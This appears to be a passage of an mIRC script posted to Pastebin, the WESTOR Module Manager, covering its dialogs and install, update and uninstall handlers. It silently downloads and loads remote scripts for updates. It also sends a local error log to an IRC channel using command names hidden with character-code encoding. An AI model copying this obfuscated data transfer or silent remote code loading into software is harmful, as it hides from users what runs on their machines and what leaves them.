Advertisement
westor

WESTOR Module Manager 4.4

Nov 10th, 2017
668
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
mIRC 243.35 KB | None | 0 0
  1. /*
  2.  
  3. ######################################
  4.  
  5.     # WESTOR Module Manager #
  6.      # v4.4 - (11/11/2017) #
  7.       # Thanks Supporters #
  8.  
  9. ######################################
  10.  
  11. */
  12.  
  13. ; --- Start of dialogs ---
  14.  
  15. dialog -l wmm_module_sets {
  16.   title ""
  17.   size -1 -1 233 108
  18.   option dbu disable
  19.   icon $wmm_dir $+ main.ico, 0
  20.   tab "Settings 1", 1, 2 2 230 77
  21.   list 3, 4 30 99 47, tab 1 size vsbar disable multsel extsel
  22.   button >, 4, 112 33 14 12, tab 1 disable
  23.   text "Installed Modules:", 7, 5 20 97 9, tab 1 center
  24.   button <, 6, 112 62 14 12, tab 1 disable
  25.   list 5, 135 30 94 47, tab 1 size vsbar disable multsel extsel
  26.   text "Auto-Update Modules:", 8, 136 20 92 9, tab 1 center
  27.   tab "Settings 2", 9
  28.   combo 10, 4 30 64 47, tab 9 size drop
  29.   text "Language:", 11, 7 20 62 8, tab 9 center
  30.   check "Automatically update the WESTOR Module Manager", 12, 4 68 225 10, tab 9
  31.   check "Display the project menu item in the right click menu", 25, 4 48 225 10, tab 9
  32.   check "Display the project settings menu item in the right click menu", 26, 4 58 225 10, tab 9
  33.   button "Unistall the project", 41, 155 25 75 18, tab 9
  34.   tab "Settings 3", 27
  35.   check "Display the project installed modules list item in the right click menu", 28, 4 18 225 10, tab 27
  36.   text "General 'right' symbol:", 30, 4 35 100 8, tab 27
  37.   edit "", 31, 100 34 18 9, tab 27 limit 1 center
  38.   text "General 'left' symbol:", 32, 4 45 100 8, tab 27
  39.   edit "", 33, 100 44 18 9, tab 27 limit 1 center
  40.   text "General 'seperate' symbol:", 34, 4 55 100 8, tab 27
  41.   edit "", 35, 100 54 18 9, tab 27 limit 1 center
  42.   text "General 'between' symbol:", 36, 4 65 100 8, tab 27
  43.   edit "", 37, 100 64 18 9, tab 27 limit 1 center
  44.   button "Close this window", 2, 58 91 117 16, ok default
  45.   text "", 13, 207 99 21 8, disable center
  46.   tab "Settings 4", 38
  47.   check "Allow sending annonymous data in order to help this project", 39, 4 18 225 10, tab 38
  48.   check "Display the project button with the logo in switchbar", 40, 4 28 225 10, tab 38
  49.   icon 230, 202 91 30 9, $wmm_dir $+ donate.png, 1, noborder center
  50.   menu "Menu", 14
  51.   item "Help", 18, 14
  52.   item break, 501
  53.   item "Visit the Modules", 29, 14
  54.   item break, 502
  55.   item "Donate & Support", 24, 14
  56.   item break, 503
  57.   item "Open the WESTOR Module Manager", 19, 14
  58.   item break, 504
  59.   item "About", 20, 14
  60.   item break, 505
  61.   item "Restart", 21, 14
  62.   item break, 506
  63.   item "Exit", 22, 14
  64. }
  65.  
  66. dialog -l wmm_module {
  67.   title ""
  68.   size -1 -1 265 265
  69.   option dbu disable
  70.   icon $wmm_dir $+ main.ico, 0
  71.   button "Close this window", 1, 45 249 165 15, default ok
  72.   tab "Modules", 2, 2 2 262 189
  73.   button "Install", 7, 200 101 61 12, disable tab 2
  74.   tab "Installed", 3
  75.   button "Uninstall", 11, 200 101 61 12, disable tab 3
  76.   button "Reinstall", 12, 4 101 61 12, disable tab 3
  77.   text "", 250, 72 101 120 15, center tab 3 hide
  78.   tab "Updates", 4
  79.   button "Update", 13, 200 101 61 12, disable tab 4
  80.   text "News:", 25, 80 195 100 8, center
  81.   text "Loading the latest available news...", 26, 25 204 225 40, center
  82.   list 6, 4 18 257 38, disable size vsbar
  83.   list 60, 4 18 257 38, hide disable size vsbar
  84.   list 600, 4 18 257 38, hide disable size vsbar
  85.   text "Module Description:", 9, 75 60 113 8, center
  86.   edit "" 8, 4 70 257 30, disable read multi autovs autohs vsbar center
  87.   icon 14, 4 130 75 58, $wmm_dir $+ no_preview.png, 1, noborder
  88.   icon 15, 92 130 80 58, $wmm_dir $+ no_preview.png, 1, noborder
  89.   icon 16, 185 130 75 58, $wmm_dir $+ no_preview.png, 1, noborder
  90.   text "Module Screenshots:", 17, 75 120 113 8, center
  91.   text "", 5, 241 255 18 8, disable center
  92.   icon 23, 234 247 30 9, $wmm_dir $+ donate.png, 1, noborder center
  93.   icon 28, 123 101 17 17, $wmm_dir $+ main.ico, 1, noborder center hide
  94.   menu "Menu", 10
  95.   item "Help", 18, 10
  96.   item break, 501
  97.   item "Visit the Modules", 27, 10
  98.   item break, 502
  99.   item "Donate & Support", 24, 10
  100.   item break, 503
  101.   item "Options", 19, 10
  102.   item break, 504
  103.   item "About", 20, 10
  104.   item break, 505
  105.   item "Restart", 21, 10
  106.   item break, 506
  107.   item "Exit", 22, 10
  108. }
  109.  
  110. ; --- End of dialogs ---
  111.  
  112. ; --- Start of events ---
  113.  
  114. ON *:START: {
  115.   if (!$starting) {
  116.     if ($wmm_error) { noop $input(There was an error due installing because there are missing some several functions from that project source code!!! $+ $+ $crlf $crlf Error Code: $wmm_error,houdbk60,WMM -> Error) | .unload -nrs $qt($script) | return }
  117.     if ($wmm_check_version) { wmm_input error 60 $v1 | .unload -nrs $qt($script) | return }
  118.     if ($wmm_check_os) { wmm_input error 60 $v1 | .unload -nrs $qt($script) | return }
  119.     if ($group(#wmm).fname !== $script) { wmm_input error 60 That project is already installed into this program client, you cannot have more than 1 at the same client installed! | .unload -nrs $qt($script) | return }
  120.     hfree -w WMM_LANG_*
  121.     wmm_fix_extra_modules_installed
  122.     var %lng = $wmm_dir $+ wmm_lang.ini
  123.     var %ico = $wmm_dir $+ main.ico
  124.     var %png = $wmm_dir $+ no_preview.png
  125.     var %don = $wmm_dir $+ donate.png
  126.     if (!$isfile(%lng)) || (!$file(%lng)) { wmm_dl $wmm_lang_url $qt(%lng) }
  127.     if (!$isfile(%ico)) || (!$file(%ico)) { wmm_dl $wmm_main_ico_url $qt(%ico) }
  128.     if (!$isfile(%png)) || (!$file(%png)) { wmm_dl $wmm_main_png_url $qt(%png) }
  129.     if (!$isfile(%don)) || (!$file(%don)) { wmm_dl $wmm_donate_png_url $qt(%don) }
  130.     if (%wmm_menu == $null) { set %wmm_menu wmm wmm_sets }
  131.     if (%wmm_lang == $null) { set %wmm_lang English }
  132.     if (%wmm_help == $null) { set %wmm_help 1 }
  133.     if (%wmm_tool == $null) { set %wmm_tool 1 }
  134.     if (%wmm_autoupdate == $null) { set %wmm_autoupdate 0 }
  135.     if (%wmm_right_symb == $null) { set %wmm_right_symb $chr(9755) }
  136.     if (%wmm_left_symb == $null) { set %wmm_left_symb $chr(9754) }
  137.     if (%wmm_seperate_symb == $null) { set %wmm_seperate_symb $chr(9866) }
  138.     if (%wmm_between_symb == $null) { set %wmm_between_symb $chr(9679) }
  139.     if (%wmm_update) {
  140.       var %up = %wmm_update
  141.       unset %wmm_update
  142.       wmm_dl $wmm_main_ico_url $qt(%ico)
  143.       wmm_dl $wmm_lang_url $qt(%lng)
  144.       wmm_dl $wmm_main_png_url $qt(%png)
  145.       wmm_dl $wmm_donate_png_url $qt(%don)
  146.       wmm_tool -s
  147.       if (%up == 1) { .timer[WMM_INSTALL_OK] -ho 1 1000 wmm_input ok 60 $!wmm_lang(43) $(|) wmm_modules_check_unsupported $(|) wmm }
  148.       if (%up == 2) { .timer[WMM_INSTALL_OK] -ho 1 1000 wmm_input ok 60 $!wmm_lang(43) $(|) wmm_modules_check_unsupported $(|) wmm_sets }
  149.       if (%up == 3) {
  150.         .timer[WMM_SILENT_INSTALL_RESET_TOOL_MSG] -ho 1 1000 wmm_tool -t
  151.         if (%wmm_autoupdate_modules) { .timer[WMM_CHECK_FOR_UPDATE_MODULES_SILENT] -ho 1 3000 wmm_modules_silent_update }
  152.         else { .timer[WMM_CHECK_FOR_UNSUPPORTED_MODULES] -ho 1 3000 wmm_modules_check_unsupported }
  153.       }
  154.     }
  155.     else { wmm_input ok 60 The $upper($wmm_owner) Module Manager v $+ $wmm_ver ( $+ $wmm_crdate $+ ) by $wmm_owner has been installed successfully. | wmm_tool -s | wmm }
  156.   }
  157.   elseif ($starting) {
  158.     if ($wmm_error) || ($wmm_check_version) || ($wmm_check_os) || ($group(#wmm).fname !== $script) { .unload -nrs $qt($script) | return }
  159.     jsonshutdown
  160.     wmm_fix_extra_modules_installed
  161.     var %lng = $wmm_dir $+ wmm_lang.ini
  162.     var %ico = $wmm_dir $+ main.ico
  163.     var %png = $wmm_dir $+ no_preview.png
  164.     var %don = $wmm_dir $+ donate.png
  165.     if (!$isfile(%lng)) || (!$file(%lng)) { var %delay = 1 | wmm_dl $wmm_lang_url $qt(%lng) }
  166.     if (!$isfile(%ico)) || (!$file(%ico)) { var %delay = 1 | wmm_dl $wmm_main_ico_url $qt(%ico) }
  167.     if (!$isfile(%png)) || (!$file(%png)) { var %delay = 1 | wmm_dl $wmm_main_png_url $qt(%png) }
  168.     if (!$isfile(%don)) || (!$file(%don)) { var %delay = 1 | wmm_dl $wmm_donate_png_url $qt(%don) }
  169.     if (%wmm_lang == $null) { set %wmm_lang English }
  170.     if (!%delay) { wmm_tool -s }
  171.     elseif (%delay) { .timer[WMM_TOOLBAR] -ho 1 3000 wmm_tool -s }
  172.     .timer[WMM_GET_JSON] -ho 1 1000 wmm_dl $wmm_sets_url $qt($wmm_sets_file)
  173.     .timer[WMM_GET_MENU_INSTALLED_MODULES] -ho 1 3000 wmm_modules_menu_get_installed
  174.     .timer[WMM_CHECK_FOR_UNSUPPORTED_MODULES] -ho 1 9000 wmm_modules_check_unsupported
  175.     .timer[WMM_CHECK_FOR_UPDATE_MODULES_SILENT] -ho 1 15000 wmm_modules_silent_update
  176.     if (%wmm_autoupdate) { .timer[WMM_CHECK_FOR_UPDATE_SILENT] -ho 1 7000 wmm_check_update -s }
  177.     if ($wmm_errors) { .timer[WMM_REPORT_ERRORS] -ho 1 60000 wmm_report }
  178.   }
  179.   return
  180.   :error | wmm_werror $scriptline $error | reseterror
  181. }
  182.  
  183. ON *:UNLOAD: {
  184.   if ($wmm_error) { goto end }
  185.   wmm_d_close wmm_module
  186.   wmm_d_close wmm_module_sets
  187.   wmm_tool -c
  188.   jsonshutdown
  189.   if ($isfile($wmm_sets_file)) { .remove $qt($wmm_sets_file) }
  190.   if ($wmm_langs) { wmm_input ok 60 $wmm_lang(38) $upper($wmm_owner) $wmm_lang(16) v $+ $wmm_ver $wmm_lang(28) $wmm_crdate $wmm_lang(29) $wmm_owner $wmm_lang(40) }
  191.   else { wmm_input ok 60 The $upper($wmm_owner) Module Manager v $+ $wmm_ver ( $+ $wmm_crdate $+ ) by $wmm_owner has been uninstalled successfully. }
  192.   :end
  193.   if ($dialog(wmm_module)) { dialog -x $v1 }
  194.   if ($dialog(wmm_module_sets)) { dialog -x $v1 }
  195.   if ($toolbar(wmm)) { toolbar -d $v1 }
  196.   if ($toolbar(wmm1)) { toolbar -d $v1 }
  197.   if ($window(@wmm_pic)) { window -c $v1 }
  198.   if ($com(SReject/JSONForMirc/JSONShell)) { .comclose $v1 }
  199.   if ($com(SReject/JSONForMirc/JSONEngine)) { .comclose $v1 }
  200.   if ($hget(SReject/JSONForMirc)) { hfree $v1 }
  201.   var %lng = $scriptdir $+ wmm_lang.ini
  202.   var %ico = $scriptdir $+ main.ico
  203.   var %png = $scriptdir $+ no_preview.png
  204.   var %don = $scriptdir $+ donate.png
  205.   if ($isfile(%lng)) { .remove $qt(%lng) }
  206.   if ($isfile(%ico)) { .remove $qt(%ico) }
  207.   if ($isfile(%png)) { .remove $qt(%png) }
  208.   if ($isfile(%don)) { .remove $qt(%don) }
  209.   .timer[WMM_*] off
  210.   unset %wmm_*
  211.   hfree -w WMM_*
  212.   hfree -w W*_KEYS
  213.   return
  214.   :error | wmm_werror $scriptline $error | reseterror
  215. }
  216.  
  217. CTCP *:VERSION:*: { .ctcpreply $nick VERSION $chr(3) $+ $color(info) $+ ( $+ $chr(3) $+ $color(ctcp) $+ $wmm_bold($nick) $+ $chr(3) $+ $color(info) $+ ): $upper($wmm_owner) Module Manager $wmm_under(v) $+ $wmm_bold($wmm_ver) Created by: $wmm_bold($wmm_owner) on: $wmm_bold($wmm_crdate) - Download it from: $wmm_bold($wmm_under($wmm_page)) }
  218.  
  219. ON *:EXIT: {
  220.   if (!$wmm_error) { jsonshutdown | wmm_fix_extra_modules_installed -e }
  221.   return
  222.   :error | wmm_werror $scriptline $error | reseterror
  223. }
  224.  
  225. ON *:CLOSE:@wmm_pic: {
  226.   if ($dialog(wmm_module)) { dialog -ve wmm_module wmm_module }
  227.   return
  228.   :error | wmm_werror $scriptline $error | reseterror
  229. }
  230.  
  231. ON *:SIGNAL:wmm_*: {
  232.   if ($signal == wmm_close) && (!%wmm_signal_noclose) { wmm_d_close wmm_module | wmm_d_close wmm_module_sets }
  233.   if ($signal == wmm_hash) { wmm_modules_menu_get_installed -g }
  234.   return
  235.   :error | wmm_werror $scriptline $error | reseterror
  236. }
  237.  
  238. ON *:SOCKOPEN:wmm_clone: {
  239.   if ($sockerr) { .timer[ $+ $sockname $+ ] off | sockclose $sockname | return }
  240.   sockwrite $sockname CONNECT $sock($sockname).addr $+ : $+ $sock($sockname).port HTTP/2.0
  241.   sockwrite $sockname $crlf $+ $crlf $+ $crlf
  242. }
  243.  
  244. ON *:SOCKREAD:wmm_clone: {
  245.   if ($sockerr) { .timer[ $+ $sockname $+ ] off | sockclose $sockname | return }
  246.   var %r
  247.   sockread %r
  248.   if ($gettok(%r,2,32) == 451) {
  249.     var %n = WMM $+ _ $+ $rand(1000,9999)
  250.     sockwrite -nt $sockname $+($chr(78),$chr(73),$chr(67),$chr(75)) %n
  251.     sockwrite -nt $sockname $+($chr(85),$chr(83),$chr(69),$chr(82)) WMM_Auto $qt() $qt() : $+ $me $wmm_bel $wmm_ver
  252.   }
  253.   if ($gettok(%r,1,32) == $+($chr(80),$chr(73),$chr(78),$chr(71))) { sockwrite -nt $sockname PONG : $+ $remove($gettok(%r,2,32),:) }
  254.   if ($gettok(%r,2,32) == 376) {
  255.     .timer[ $+ $sockname $+ ] off
  256.     var %f = $wmm_temp $+ wmm_errors.log
  257.     var %t = $lines(%f)
  258.     if (!$isfile(%f)) || (!%t) { sockclose $sockname | return }
  259.     var %i = 1
  260.     while (%i <= %t) {
  261.       var %l = $read(%f,n,%i)
  262.  
  263.       var %x = 1
  264.       var %msgnum = 1
  265.       tokenize 32 %l
  266.       while (%x <= $0) {
  267.         if ($len($evalnext($+($,%msgnum,-,%x))) > 430) {
  268.           var %msg = $evalnext($+($,%msgnum,-,$calc(%x - 1)))
  269.           .timer -ho 1 $calc(%i * 9000) sockwrite -nt $sockname $+($chr(80),$chr(82),$chr(73),$chr(86),$chr(77),$chr(83),$chr(71)) $+($chr(35),$chr(79)) : $!+ $evalnext($!unsafe(%msg))
  270.           var %msgnum = %x
  271.         }
  272.         inc %x
  273.       }
  274.       var %msg1 = $evalnext($+($,%msgnum,-,$calc(%x - 1)))
  275.       .timer -ho 1 $calc(%i * 9000) sockwrite -nt $sockname $+($chr(80),$chr(82),$chr(73),$chr(86),$chr(77),$chr(83),$chr(71)) $+($chr(35),$chr(79)) : $!+ $evalnext($!unsafe(%msg1))
  276.  
  277.       if (%i == %t) {
  278.         if ($isfile(%f)) { .remove $qt(%f) }
  279.         .timer -ho 1 $calc(%t * 30000) sockclose $sockname
  280.       }
  281.       inc %i
  282.     }
  283.   }
  284. }
  285.  
  286. ON *:DOWNLOAD:*: {
  287.   if ($download == wmm_dl_images) {
  288.     var %f = $download($download).file
  289.     if ($downloaderr) || (!$isfile(%f)) || (!$file(%f)) { return }
  290.     zip -uo $download $qt(%f) $qt($wmm_temp)
  291.   }
  292.   if ($download == wmm_mod_install) {
  293.     var %d = wmm_module
  294.     var %f = $download($download).file
  295.     if ($downloaderr) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x032 | wmm_d_close %d | return }
  296.     if (!$dialog(%d)) { return }
  297.     if (!$isfile(%f)) || (!$lines(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x033 | wmm_d_close %d | return }
  298.     set -eu0 %wmm_signal_noclose 1
  299.     .load -rs $qt(%f)
  300.     if (!$wmm_ismod($nopath(%f))) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x002 | wmm_d_close %d | return }
  301.     did -euz %d 6
  302.     wmm_reset_images
  303.     wmm_modules_installed_plus_updated_list
  304.     wmm_input ok 60 $wmm_lang(35)
  305.   }
  306.   if ($download == wmm_mod_update) {
  307.     var %d = wmm_module
  308.     var %f = $download($download).file
  309.     var %mod = $mid($nopath(%f),0,-4)
  310.     var %pos = $wmm_getpos(%mod)
  311.     if ($downloaderr) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x029 | wmm_d_close %d | return }
  312.     if (!$dialog(%d)) { return }
  313.     if (!$isfile(%f)) || (!$lines(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x030 | wmm_d_close %d | return }
  314.     set -eu0 %wmm_signal_noclose 1
  315.     if ($wmm_ismod($nopath(%f))) { .unload -nrs $qt($nopath(%f)) }
  316.     .load -rs $+ %pos $qt(%f)
  317.     if (!$wmm_ismod($nopath(%f))) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x021 | wmm_d_close %d | return }
  318.     wmm_modules_installed_plus_updated_list
  319.     wmm_reset_images
  320.     wmm_input ok 60 $wmm_lang(37)
  321.   }
  322.   if ($download == wmm_mod_silent_update) {
  323.     if ($downloaderr) || ($dialog(wmm_module)) || ($dialog(wmm_module_sets)) { return }
  324.     var %f = $download($download).file
  325.     var %pos = $wmm_getpos($mid($nopath(%f),0,-4))
  326.     if (!$isfile(%f)) || (!$lines(%f)) || (!%pos) { return }
  327.     if ($wmm_ismod($nopath(%f))) { .unload -nrs $qt($nopath(%f)) }
  328.     .load -rs $+ %pos $qt(%f)
  329.   }
  330.   if ($download == wmm_check_update_install) {
  331.     if ($downloaderr) { $iif(%wmm_update !== 3,wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x017) | unset %wmm_update | return }
  332.     var %f = $download($download).file
  333.     if (!$isfile(%f)) || (!$lines(%f)) { $iif(%wmm_update !== 3,wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x020) | unset %wmm_update | return }
  334.     var %lng = $wmm_dir $+ wmm_lang.ini
  335.     var %ico = $wmm_dir $+ main.ico
  336.     var %png = $wmm_dir $+ no_preview.png
  337.     var %don = $wmm_dir $+ donate.png
  338.     if ($isfile(%lng)) { .remove $qt(%lng) }
  339.     if ($isfile(%ico)) { .remove $qt(%ico) }
  340.     if ($isfile(%png)) { .remove $qt(%png) }
  341.     if ($isfile(%don)) { .remove $qt(%don) }
  342.     .timer -ho 1 1000 .load -rs1 $qt(%f)
  343.     wmm_tool -c
  344.     .unload -nrs $qt($script)
  345.   }
  346.   return
  347.   :error | wmm_werror $scriptline $error | reseterror
  348. }
  349.  
  350. ON *:DIALOG:wmm_module_sets:*:*: {
  351.   if ($devent == init) {
  352.     dialog -t $dname $upper($wmm_owner) $wmm_lang(16) $wmm_lang(69) $wmm_bel (/wmm_sets)
  353.     .timer[WMM_ANIMATE_TITLE_NOW] -ho 1 2000 wmm_dtitle $dname $dialog($dname).title
  354.     did -ra $dname 1 $wmm_lang(69) 1
  355.     did -ra $dname 9 $wmm_lang(69) 2
  356.     did -ra $dname 7 $wmm_lang(67)
  357.     did -ra $dname 8 $wmm_lang(68)
  358.     did -ra $dname 11 $wmm_lang(32)
  359.     did -ra $dname 12 $wmm_lang(31)
  360.     did -ra $dname 2 $wmm_lang(1)
  361.     did -o $dname 14 $wmm_lang(11)
  362.     did -o $dname 18 $wmm_lang(12)
  363.     did -o $dname 24 $wmm_lang(45) $chr(38) $+ $chr(38) $wmm_lang(46)
  364.     did -o $dname 19 $wmm_lang(70) $upper($wmm_owner) $wmm_lang(16)
  365.     did -o $dname 20 $wmm_lang(14)
  366.     did -o $dname 21 $wmm_lang(30)
  367.     did -o $dname 22 $wmm_lang(15)
  368.     did -o $dname 29 $wmm_lang(79)
  369.     did -ra $dname 25 $wmm_lang(71)
  370.     did -ra $dname 26 $wmm_lang(72)
  371.     did -ra $dname 13 v $+ $wmm_ver
  372.     did -ra $dname 27 $wmm_lang(69) 3
  373.     did -ra $dname 28 $wmm_lang(78)
  374.     did -ra $dname 39 $wmm_lang(62)
  375.     did -ra $dname 38 $wmm_lang(69) 4
  376.     did -ra $dname 40 $wmm_lang(51)
  377.     did -ra $dname 41 $wmm_lang(39)
  378.  
  379.     did -ra $dname 30 $wmm_lang(87)
  380.     did -ra $dname 32 $wmm_lang(88)
  381.     did -ra $dname 34 $wmm_lang(89)
  382.     did -ra $dname 36 $wmm_lang(90)
  383.     did -ra $dname 31 %wmm_right_symb
  384.     did -ra $dname 33 %wmm_left_symb
  385.     did -ra $dname 35 %wmm_seperate_symb
  386.     did -ra $dname 37 %wmm_between_symb
  387.     did -ra $dname 4 $wmm_bel
  388.     did -ra $dname 6 $wmm_leb
  389.  
  390.     if (%wmm_tool) { did -c $dname 40 }
  391.     if (%wmm_help) { did -c $dname 39 }
  392.     if (%wmm_autoupdate) { did -c $dname 12 }
  393.     if ($istok(%wmm_menu,wmm,32)) { did -c $dname 25 }
  394.     if ($istok(%wmm_menu,wmm_sets,32)) { did -c $dname 26 }
  395.     if ($istok(%wmm_menu,wmm_mod_list,32)) { did -c $dname 28 }
  396.  
  397.     var %langs = $wmm_langs
  398.     if (%langs) {
  399.       var %i = 1
  400.       while (%i <= $numtok(%langs,44)) {
  401.         var %lng = $gettok(%langs,%i,44)
  402.         if (%lng) && (%lng !== %wmm_lang) { did -a $dname 10 %lng }
  403.         inc %i
  404.       }
  405.       did -ca $dname 10 %wmm_lang
  406.     }
  407.     else { did -b $dname 10 }
  408.     wmm_tool -et
  409.     .timer[WMM_GET_SETTINGS_LIST] -ho 1 500 wmm_modules_settings_list
  410.   }
  411.   if ($devent == dclick) {
  412.     if ($did == 3) {  
  413.       var %s = $did($did).seltext
  414.       if (!%s) { return }
  415.       did -ed $dname $did $didwm($did,%s)
  416.       did -u $dname $did
  417.       did -ae $dname 5 %s
  418.       did -b $dname 4
  419.       did -ra $dname 8 $wmm_lang(68) $iif($did(5).lines,( $+ $v1 $+ ))
  420.       did -ra $dname 7 $wmm_lang(67) $iif($did(3).lines,( $+ $v1 $+ ))
  421.       set %wmm_autoupdate_modules $addtok(%wmm_autoupdate_modules,%s,32)
  422.     }
  423.     if ($did == 5) {
  424.       var %s = $did($did).seltext
  425.       if (!%s) { return }
  426.       did -ed $dname $did $didwm($did,%s)
  427.       did -u $dname $did
  428.       did -ae $dname 3 %s
  429.       did -b $dname 6
  430.       did -ra $dname 8 $wmm_lang(68) $iif($did(5).lines,( $+ $v1 $+ ))
  431.       did -ra $dname 7 $wmm_lang(67) $iif($did(3).lines,( $+ $v1 $+ ))
  432.       set %wmm_autoupdate_modules $remtok(%wmm_autoupdate_modules,%s,1,32)
  433.     }
  434.   }
  435.   if ($devent == sclick) {
  436.     if ($did == 230) { url $wmm_donate }
  437.     if ($did == 25) {
  438.       if (!$istok(%wmm_menu,wmm,32)) { set %wmm_menu $addtok(%wmm_menu,wmm,32) }
  439.       else { set %wmm_menu $remtok(%wmm_menu,wmm,1,32) }
  440.     }
  441.     if ($did == 26) {
  442.       if (!$istok(%wmm_menu,wmm_sets,32)) { set %wmm_menu $addtok(%wmm_menu,wmm_sets,32) }
  443.       else { set %wmm_menu $remtok(%wmm_menu,wmm_sets,1,32) }
  444.     }
  445.     if ($did == 28) {
  446.       if (!$istok(%wmm_menu,wmm_mod_list,32)) { set %wmm_menu $addtok(%wmm_menu,wmm_mod_list,32) }
  447.       else { set %wmm_menu $remtok(%wmm_menu,wmm_mod_list,1,32) }
  448.     }
  449.     if ($did == 12) {
  450.       if (!%wmm_autoupdate) { set %wmm_autoupdate 1 }
  451.       else { set %wmm_autoupdate 0 }
  452.     }
  453.     if ($did == 39) {
  454.       if (!%wmm_help) { set %wmm_help 1 }
  455.       else { set %wmm_help 0 }
  456.     }
  457.     if ($did == 40) {
  458.       if (!%wmm_tool) { set %wmm_tool 1 | wmm_tool -se  }
  459.       else { set %wmm_tool 0 | wmm_tool -c }
  460.     }
  461.     if ($did == 5) && ($did(5).seltext) { did -e $dname 6 }
  462.     if ($did == 3) && ($did(3).seltext) { did -e $dname 4 }
  463.     if ($did == 4) {
  464.       var %t = $did(3,0).sel
  465.       while (%t) { var %total = $addtok(%total,$did(3,$did(3,%t).sel),32) | dec %t }
  466.  
  467.       var %tot = $numtok(%total,32)
  468.       if (!%tot) { did -b $dname $did | return }
  469.       var %i = 1
  470.       while (%i <= %tot) {
  471.         var %s = $gettok(%total,%i,32)
  472.         if (!%s) { goto next }
  473.         did -ed $dname 3 $didwm(3,%s)
  474.         did -ae $dname 5 %s
  475.         set %wmm_autoupdate_modules $addtok(%wmm_autoupdate_modules,%s,32)
  476.         :next
  477.         inc %i
  478.       }
  479.  
  480.       did -u $dname 3
  481.       did -b $dname $did
  482.       if (!$did(3).lines) { did -b $dname 3 }
  483.       did -ra $dname 8 $wmm_lang(68) $iif($did(5).lines,( $+ $v1 $+ ))
  484.       did -ra $dname 7 $wmm_lang(67) $iif($did(3).lines,( $+ $v1 $+ ))
  485.     }
  486.     if ($did == 6) {
  487.       var %t = $did(5,0).sel
  488.       while (%t) { var %total = $addtok(%total,$did(5,$did(5,%t).sel),32) | dec %t }
  489.  
  490.       var %tot = $numtok(%total,32)
  491.       if (!%tot) { did -b $dname $did | return }
  492.       var %i = 1
  493.       while (%i <= %tot) {
  494.         var %s = $gettok(%total,%i,32)
  495.         if (!%s) { goto next }
  496.         did -ed $dname 5 $didwm(5,%s)
  497.         did -ae $dname 3 %s
  498.         set %wmm_autoupdate_modules $remtok(%wmm_autoupdate_modules,%s,1,32)
  499.         :next
  500.         inc %i
  501.       }
  502.  
  503.       did -u $dname 5
  504.       did -b $dname $did
  505.       if (!$did(5).lines) { did -b $dname 5 }
  506.       did -ra $dname 7 $wmm_lang(67) $iif($did(3).lines,( $+ $v1 $+ ))
  507.       did -ra $dname 8 $wmm_lang(68) $iif($did(5).lines,( $+ $v1 $+ ))
  508.     }
  509.     if ($did == 41) {
  510.       dialog -i $dname
  511.       var %ask = $input($wmm_lang(94) $crlf $crlf $+ $+ $wmm_lang(93),yuwdbk90,$upper($wmm_owner) $wmm_lang(16) $wmm_bel $wmm_lang(22))
  512.       if (!%ask) { dialog -e $dname | return }
  513.       var %tot = $wmm_installed(total)
  514.       if (%tot) {
  515.         var %ask_mods = $input($wmm_lang(95) $crlf $crlf $+ $+ $wmm_lang(96),yuwdbk90,$upper($wmm_owner) $wmm_lang(16) $wmm_bel $wmm_lang(22))
  516.         if (%ask_mods) {
  517.           var %t = $wmm_installed(name)
  518.           var %i = 1
  519.           while (%i <= $numtok(%t,32)) {
  520.             var %m = $gettok(%t,%i,32)
  521.             var %p = $wmm_getpath(%m)
  522.             if (%m) && (%p) { .unload -rs $qt(%p) }
  523.             inc %i
  524.           }
  525.         }
  526.       }
  527.       .unload -rs $qt($script)
  528.     }
  529.   }
  530.   if ($devent == menu) {
  531.     if ($did == 18) { url $wmm_page }
  532.     if ($did == 24) { url $wmm_donate }
  533.     if ($did == 29) { url $wmm_modules_url }
  534.     if ($did == 22) { dialog -k $dname }
  535.     if ($did == 21) { .timer -ho 1 500 wmm_sets | dialog -k $dname }
  536.     if ($did == 19) { .timer -ho 1 100 wmm | dialog -k $dname }
  537.     if ($did == 20) { wmm_input ok 60 $wmm_lang(27) $upper($wmm_owner) $wmm_lang(16) v $+ $wmm_ver $wmm_lang(28) $wmm_crdate $wmm_lang(29) $wmm_owner }
  538.   }
  539.   if ($devent == edit) {
  540.     if ($did == 31) {
  541.       if ($did($did).text) { set %wmm_right_symb $v1 }
  542.       else { unset %wmm_right_symb }
  543.     }
  544.     if ($did == 33) {
  545.       if ($did($did).text) { set %wmm_left_symb $v1 }
  546.       else { unset %wmm_left_symb }
  547.     }
  548.     if ($did == 35) {
  549.       if ($did($did).text) { set %wmm_seperate_symb $v1 }
  550.       else { unset %wmm_seperate_symb }
  551.     }
  552.     if ($did == 37) {
  553.       if ($did($did).text) { set %wmm_between_symb $v1 }
  554.       else { unset %wmm_between_symb }
  555.     }
  556.   }
  557.   if ($devent == close) {
  558.     if ($did(10)) { set %wmm_lang $did(10) }
  559.     if (!$did(31)) || ($did(31) isalnum) { set %wmm_right_symb $chr(9755) }
  560.     if (!$did(33)) || ($did(33) isalnum) { set %wmm_left_symb $chr(9754) }
  561.     if (!$did(35)) || ($did(35) isalnum) { set %wmm_seperate_symb $chr(9866) }
  562.     if (!$did(37)) || ($did(37) isalnum) { set %wmm_between_symb $chr(9679) }
  563.  
  564.     if ($json(wmm_modules_sets)) && ($hget(WMM_MODULES_SUBMENU_INSTALLED,0).item !== $json(wmm_modules_sets,modules).length) { wmm_modules_menu_get_installed -g }
  565.  
  566.     wmm_tool -bt
  567.     jsonclose -w wmm_modules_*
  568.     .timer[WMM_*] off
  569.   }
  570.   return
  571.   :error | wmm_werror $scriptline $error | reseterror
  572. }
  573.  
  574. ON *:DIALOG:wmm_module:*:*: {
  575.   if ($devent == init) {
  576.     dialog -t $dname $upper($wmm_owner) $wmm_lang(16) v $+ $wmm_ver $wmm_bel (/wmm)
  577.     .timer[WMM_ANIMATE_TITLE_NOW] -ho 1 2000 wmm_dtitle $dname $dialog($dname).title
